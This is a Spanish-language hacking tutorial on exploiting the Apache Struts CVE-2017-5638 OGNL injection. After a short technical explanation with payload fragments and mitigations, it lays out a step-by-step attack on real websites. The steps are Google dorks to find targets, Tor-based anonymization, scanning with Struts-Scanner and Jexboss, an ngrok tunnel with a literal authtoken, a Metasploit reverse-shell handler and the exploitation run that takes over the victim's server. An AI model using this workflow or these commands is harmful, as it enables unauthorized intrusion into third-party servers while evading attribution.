NeosLab.com
Explotación

Cómo Aprovechar la Vulnerabilidad Struts Apache CVE 2017-5638

Jakarta Multipart Parser en Apache Struts 2 2.3.x antes de 2.3.32 y 2.5.x antes de 2.5.10.1 tiene un manejo de excepciones incorrecto y generación de mensajes de error durante los intentos de carga de archivos, lo que permite a los atacantes remotos ejecutar comandos arbitrarios a través de un contenido diseñado Content-Type, Content-Disposition o Content-Lenght HTTP header , como se explota en marzo de 2017 con Content-Type hearder que contiene una cadena #cmd=string.

Fuente: rapid7.com

ANATOMIA DEL ATAQUE

Con razón, se ha prestado mucha atención a la vulnerabilidad reciente en el marco Struts MVC (CVE-2017-5638). Debido a su amplia funcionalidad, Struts es un componente de código abierto ampliamente utilizado en aplicaciones web. Sin embargo, estos mismos beneficios y la integración de Struts con otros marcos pueden hacer que las actualizaciones y los parches sean un desafío. Mi objetivo es ayudar a los lectores a comprender cómo un atacante podría explotar esta vulnerabilidad de Apache Struts.

Vulnerabilidad de Struts de Apache

Struts es vulnerable a los ataques de inyección de comandos remotos mediante el análisis incorrecto de Content-Type HTTP header no válido del atacante. La vulnerabilidad Struts permite que estos comandos se ejecuten bajo los privilegios del servidor web. Esta es la ejecución completa del comando remoto y se ha explotado activamente en la naturaleza desde la divulgación inicial.

Si el valor de tipo de contenido no es válido, es decir, no coincide con un tipo válido esperado, se lanza una excepción que luego se utiliza para mostrar un mensaje de error a un usuario. En este caso, podemos establecer Content-Type en una expresión OGNL como:

Content­Type: ${(#_='multipart/form­data')}...

¿Por qué ocurre el Vuln ?

La vulnerabilidad se produce porque el Content-Type no se escapó después del error, y luego es utilizado por la función LocalizedTextUtil.findText() para generar el mensaje de error. Esta función interpretará el mensaje proporcionado, y cualquier elemento dentro de ${…} se tratará como una expresión de la Biblioteca de navegación de gráficos de objetos (OGNL) y se evaluará como tal. El atacante puede aprovechar estas condiciones para ejecutar expresiones OGNL que a su vez ejecutan comandos del sistema.

OGNL es también un lenguaje expresivo y extenso en sí mismo. Es una herramienta muy poderosa y confiable para el atacante. Muchas funciones principales de JAVA se pueden exponer, por ejemplo, java.core.ProcessBuilder() permite que se ejecute un programa externo en el sistema.

La explotación también se ve facilitada por la capacidad de recibir información del servidor sobre el estado y la salida de los comandos que ejecuta el servidor web. No se necesita ningún canal de comunicación adicional, lo que ayuda a minimizar la detección y eludir las reglas del firewall saliente.

El comando curl que se muestra arriba demuestra si el servidor es vulnerable o no al enviar una solicitud http request con una expresión OGNL incrustada en Content-Type header y recibir una respuesta. La expresión OGNL establece los derechos de acceso predeterminados para los miembros de OgnlContext JAVA object, que representa el contexto de ejecución de la expresión. Vacía la lista negra de paquetes y clases excluidos para exponer más funcionalidades.

La variable “#eps” se establece en la representación de cadenas de objetos del contenedor a través de su método toString() para demostrar la manipulación potencial de los parámetros del servlet central de forma segura y para proporcionar una cadena para devolver al usuario a través del comando echo del sistema.

#eps=#container.toString()
#cmds=({'/bin/echo', #eps})

Un JAVA ProcessBuilder object se crea con el comando echo que genera el valor String. Usando más funcionalidades JAVA, el flujo de entrada de este proceso se redirige al flujo de salida de la respuesta de servlets. Esto permite que el servlet responda al atacante con información, como se puede ver con una respuesta:

com.opensymphony.xwork2.inject.ContainerImpl@d0d2b00

Este comando es seguro y demuestra la ejecución remota de comandos, la funcionalidad de java y un canal de ex filtración. Los exploits y las pruebas de concepto para esta vulnerabilidad están ampliamente disponibles, lo que reduce sustancialmente la experiencia requerida para ejecutar un ataque. Debido a que Struts es ampliamente utilizado, también es probable que ocurran ataques no dirigidos.

¿Cómo mitigar esta vulnerabilidad?

Los firewalls de aplicaciones web como mod_security podrían mitigar este ataque si las reglas están configuradas en listas blancas de tipos de contenido válidos o en listas negras de expresiones OGNL. Una mitigación alternativa para actualizar Struts es pasar al uso del analizador multiparte Jason Pells. Este complemento reemplaza al componente vulnerable de Struts y puede instalarse copiando el plugin “jar” en el directorio /WEB-INF/lib de su aplicación. La biblioteca también deberá incluirse en su solicitud.

Fuente: blog.blackducksoftware.com


ENCONTRAR OBJETIVOS POTENCIALES

No hay duda de que hay mil y una formas de encontrar objetivos vulnerables para este tipo de ataque. Para abreviar, vamos a utilizar una lista no exhaustiva de Google Dork para crear una lista de posibles sitios web vulnerables.

intitle:"Struts problem report" intext:"Struts has detected an Unhandled"
intitle:"Struts Problem Report" intext:"development mode is enabled."
filetype:action
filetype:do
filetype:java
filetype:out
filetype:bat
filetype:seam
filetype:sh
filetype:bson
filetype:el
filetype:pm
inurl:login.action
inurl:login.do
inurl:login.java
inurl:index.action
inurl:index.do
inurl:index.java

Opcional

Para ahorrar tiempo y encontrar posibles objetivos vulnerables, le sugerimos encarecidamente que utilice “Pagodo”, una pequeña utilidad de Python para automatizar su búsqueda.

# Save your dorks list into a file such as "dorks.txt"
# Specify the output path and filename such as "urls.txt"
$ sudo python pagodo.py ­-g dorks.txt ­-l 200 ­-s ­-e 35.0 -­j 1.1 >> urls.txt

Fuente: github.com

INICIALIZAR SESIÓN TOR

Antes de seguir adelante necesitaremos proteger nuestro anonimato al ocultar nuestra ubicación actual y los detalles de la conexión. Por nuestra parte, usaremos Torphantom, una sencilla herramienta de Python utilizada para enrutar todo el tráfico a través de TOR.

Torphantom puede enrutar todo el tráfico de red a través de la red TOR. Cada aplicación que intente conectarse a Internet pasará por la red TOR. No se filtrará ningún ping, lo que protegerá su identidad.

Normalmente, la mayoría de nosotros usamos Proxychain o una aplicación similar para enrutar el tráfico de una aplicación específica. El problema es que algunas aplicaciones tienden a ignorar el proxy para una conexión mucho más rápida que puede filtrar información confidencial y revelar su identidad o ubicación original. Torphantom puede evitarlo en este peor escenario. Torphantom estableció ciertas reglas en Iptables para enrutar todas las conexiones salientes a través de un determinado puerto proxy. También rechaza alguna solicitud sensible entrante y saliente que puede filtrar su dirección IP original.

Además, DNS filtra uno de los graves problemas de seguridad de la red que la mayoría de nosotros desconoce. Las organizaciones gubernamentales persiguen a la mayoría de los piratas informáticos que usan esta vulnerabilidad. No importa qué tan seguro cifre la fuga de DNS es un problema grave.

Torphantom tiene una solución para eso también. Puede usar un servidor DNS remoto y anónimo para resolver el nombre de host a diferencia de otras aplicaciones inseguras que usan DNS proporcionado por su ISP.

Comience Torphantom

# Type the below commands
$ sudo torphantom start ­-i <interface>

Salida

ESCANEAR OBJETIVOS POTENCIALES

Ahora que nos estamos ocultando adecuadamente y obtuvimos una lista completa de posibles sitios web vulnerables, la exploraremos utilizando Struts-Scanner o Jexboss para verificar si podemos seguir procesando y abrir un Shell Meterpreter.

No hay diferencias significativas entre estas dos herramientas. Struts-scanners es un simple Bash mientras que Jexboss es una herramienta más avanzada escrita en Python.

Escanear usando Struts-Scanner

# Type the below commands and follow up the screen prompt 
$ ./struts-­scanner

Salida

Escanear con Jexboss

# Type the below commands after correcting the input and output file paths 
$ python jexboss.py ­-mode -file­-scan ­-file /path/file/urls.txt ­-out /path/output/results.log ­­--struts2

Salida

INICIALIZAR EL TUNEL TCP

Una vez que estemos listos con nuestra lista de sitios web vulnerables y dado que TOR controla todo nuestro tráfico, crearemos un túnel TCP seguro utilizando Ngrok para reenviar el tráfico a nuestra máquina de forma anónima. Para el propósito de este documento, usaremos el puerto 4444 para recibir la sesión.

Comience Ngrok

# Your Token can be found in your Ngrok account
$ ./ngrok authtoken 8ml78jQFrVNah4cN8UwTt_5ZVZYRPD8q7huTk7vo8MZ

Crear la sesión

# Create the Ngrok session on the port 4444 using the below command 
$ ./ngrok tcp 4444

Salida

CREAR CONTROLADOR DE MSF

Para abrir una sesión desde nuestro sitio web objetivo, necesitaremos crear un exploit multi-handler en nuestro Metasploit. Esto se puede hacer muy rápidamente utilizando los siguientes comandos.

Comience Metasploit

# Open Metasploit 
$ msfconsole
$ msf > use exploit/multi/handler
$ msf exploit(multi/handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0
$ msf exploit(multi/handler) > set LPORT 4444 LPORT => 4444
$ msf exploit(multi/handler) > set PAYLOAD linux/x86/shell/reverse_tcp PAYLOAD => linux/x86/shell/reverse_tcp msf exploit(multi/handler) > show options

Salida

En el ejemplo anterior, estamos utilizando un payload TCP X86 Shell Reverse TCP, por supuesto, el tipo de payload será diferente si apuntamos a una máquina con Windows.

EXPLOTAR EL OBJETIVO

Ahora vamos a enviar nuestro exploit para crear un shell inverso usando Jexboss y reenviar el tráfico a través del controlador de MSF usando el protocolo TCP.

Comandos Jexboss

$ sudo python jexboss.py -u http://example.com/login.action

Salida

¡Estás listo! Si su sitio web segmentado es vulnerable al exploit Struts2, se ha creado una sesión en su Metasploit que le permite hacerse cargo del servidor de la víctima.

Artículos Relacionados

Tutorial de Inyección SQL para Principiantes

neoslab

Cómo Aprovechar la Vulnerabilidad Shellshock CVE 2014-6271

neoslab

Como Usar SQLmap para Principiantes

neoslab

Deja un comentario

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link